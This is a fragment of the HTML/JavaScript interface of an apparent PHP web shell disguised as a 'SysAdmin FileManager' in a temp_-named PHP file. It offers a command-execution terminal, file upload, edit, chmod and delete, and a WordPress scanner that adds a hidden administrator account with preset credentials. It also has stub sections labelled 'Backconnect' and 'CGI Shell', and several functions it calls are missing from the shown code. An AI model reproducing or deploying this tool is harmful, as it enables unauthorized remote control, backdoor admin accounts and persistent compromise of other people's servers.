                    <button onclick="scanWordPress()" class="btn btn-primary" style="width:100%; margin-bottom:15px">Scan for WordPress</button>
                    
                    <div id="wp_sites_container" style="display:none; margin-bottom:15px">
                        <label>Select WordPress Site (with wp-load.php)</label>
                        <select id="wp_sites" style="width:100%;"></select>
                        <div id="wp_count_badge" style="margin-top:5px; font-size:12px; color:#8a8fa0;"></div>
                    </div>
                    
                    <div id="wp_form" style="display:none">
                        <label>Username</label>
                        <input type="text" id="wp_user" value="admin">
                        
                        <label>Password</label>
                        <input type="text" id="wp_pass" value="Admin@123">
                        
                        <label>Email</label>
                        <input type="email" id="wp_email" value="admin@example.com">
                        
                        <button onclick="addWordPressAdmin()" class="btn btn-success" style="width:100%">Add Admin User</button>
                    </div>
                </div>
            </div>
        </div>
    </div>

<div class="shell-section">
        <div class="shell-header">Terminal</div>
        <div class="shell-input">
            <input type="text" id="cmdInput" placeholder="Enter command..." onkeypress="if(event.keyCode==13) executeCommand()">
            <button onclick="executeCommand()" class="btn btn-primary">Execute</button>
            <button onclick="clearOutput()" class="btn">Clear</button>
        </div>
        <div class="shell-output" id="shellOutput"></div>
    </div>
</div>

<div id="uploadModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Upload File</h3><span class="close" onclick="closeModal('upload')">&times;</span></div>
        <form id="uploadForm" enctype="multipart/form-data">
            <div class="form-group"><label>Select File</label><input type="file" name="file" required></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('upload')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-primary">Upload</button>
            </div>
        </form>
    </div>
</div>

<div id="mkdirModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Create Directory</h3><span class="close" onclick="closeModal('mkdir')">&times;</span></div>
        <form id="mkdirForm">
            <div class="form-group"><label>Directory Name</label><input type="text" name="dir_name" required></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('mkdir')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-success">Create</button>
            </div>
        </form>
    </div>
</div>

<div id="mkfileModal" class="modal">
    <div class="modal-content" style="min-width:600px">
        <div class="modal-header"><h3>Create File</h3><span class="close" onclick="closeModal('mkfile')">&times;</span></div>
        <form id="mkfileForm">
            <div class="form-group"><label>File Name</label><input type="text" name="file_name" required></div>
            <div class="form-group"><label>Content</label><textarea name="content" rows="10"></textarea></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('mkfile')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-warning">Create</button>
            </div>
        </form>
    </div>
</div>

<div id="renameModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Rename</h3><span class="close" onclick="closeModal('rename')">&times;</span></div>
        <form id="renameForm">
            <input type="hidden" name="old_path" id="old_path">
            <div class="form-group"><label>New Name</label><input type="text" name="new_path" id="new_path" required></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('rename')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-primary">Rename</button>
            </div>
        </form>
    </div>
</div>

<div id="chmodModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Change Permissions</h3><span class="close" onclick="closeModal('chmod')">&times;</span></div>
        <form id="chmodForm">
            <input type="hidden" name="path" id="chmod_path">
            <div class="form-group"><label>Permissions (e.g., 0755)</label><input type="text" name="perms" id="chmod_perms" required pattern="[0-7]{4}" placeholder="0755"></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('chmod')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-primary">Change</button>
            </div>
        </form>
    </div>
</div>

<div id="editModal" class="modal">
    <div class="modal-content" style="min-width:800px">
        <div class="modal-header"><h3>Edit File: <span id="editFileName"></span></h3><span class="close" onclick="closeModal('edit')">&times;</span></div>
        <form id="editForm">
            <input type="hidden" name="file_path" id="edit_path">
            <div class="form-group"><textarea name="content" id="edit_content" style="min-height:400px"></textarea></div>
            <div class="modal-footer">
                <button type="button" onclick="closeModal('edit')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-success">Save</button>
            </div>
        </form>
    </div>
</div>

<div id="deleteModal" class="modal">
    <div class="modal-content">
        <div class="modal-header"><h3>Confirm Delete</h3><span class="close" onclick="closeModal('delete')">&times;</span></div>
        <p id="deleteMessage" style="margin:20px 0; color:#e0e0e0;"></p>
        <form id="deleteForm">
            <input type="hidden" name="path" id="delete_path">
            <div class="modal-footer">
                <button type="button" onclick="closeModal('delete')" class="btn">Cancel</button>
                <button type="submit" class="btn btn-danger">Delete</button>
            </div>
        </form>
    </div>
</div>

// Utility Functions

function showAlert(msg, type = 'success') {
    const alert = document.createElement('div');
    alert.className = `alert ${type}`;
    alert.textContent = msg;
    document.body.appendChild(alert);
    setTimeout(() => alert.remove(), 3000);
}

function showModal(type) {
    document.getElementById(type + 'Modal').style.display = 'block';
}

function closeModal(type) {
    document.getElementById(type + 'Modal').style.display = 'none';
}

function showTab(tab) {
    document.querySelectorAll('.tab-content').forEach(t => t.classList.add('hidden'));
    document.getElementById('tab-' + tab).classList.remove('hidden');
    document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
    event.target.classList.add('active');
    
    if (tab === 'files') loadFileList();
}

function toggleTool(header) {
    header.classList.toggle('collapsed');
    header.nextElementSibling.classList.toggle('collapsed');
}

// File Manager Functions

function formatSize(bytes) {
    if (bytes >= 1073741824) return (bytes / 1073741824).toFixed(2) + ' GB';
    if (bytes >= 1048576) return (bytes / 1048576).toFixed(2) + ' MB';
    if (bytes >= 1024) return (bytes / 1024).toFixed(2) + ' KB';
    return bytes + ' B';
}

function refreshDir() { loadFileList(); }
function goUp() { changeDir(currentDir.substring(0, currentDir.lastIndexOf('/')) || '/'); }

function renameItem(path, name) {
    path = decodeURIComponent(path);
    name = decodeURIComponent(name);
    document.getElementById('old_path').value = path;
    document.getElementById('new_path').value = path.substring(0, path.lastIndexOf('/') + 1) + name;
    showModal('rename');
}

function deleteItem(path) {
    document.getElementById('delete_path').value = decodeURIComponent(path);
    document.getElementById('deleteMessage').textContent = 'Delete: ' + decodeURIComponent(path) + '?';
    showModal('delete');
}

function chmodItem(path, perms) {
    document.getElementById('chmod_path').value = decodeURIComponent(path);
    document.getElementById('chmod_perms').value = perms;
    showModal('chmod');
}

function downloadFile(path) {
    window.open('?action=download&file=' + path, '_blank');
}

// Command Execution

function clearOutput() {
    document.getElementById('shellOutput').innerHTML = '';
}

// Backconnect

// CGI Shell (di folder .SIGMA)

// WordPress (FIXED)

// Form Handlers

window.onclick = e => {
    document.querySelectorAll('.modal').forEach(m => {
        if (e.target === m) m.style.display = 'none';
    });
};

// Load initial file list
loadFileList();
</script>
</body>
</html>

📁 SysAdmin FileManager

✏️ Edit: temp_ff11c7db0fd92e20bbf9d98e497db013.php

🗑️ Confirm Delete

📝 Rename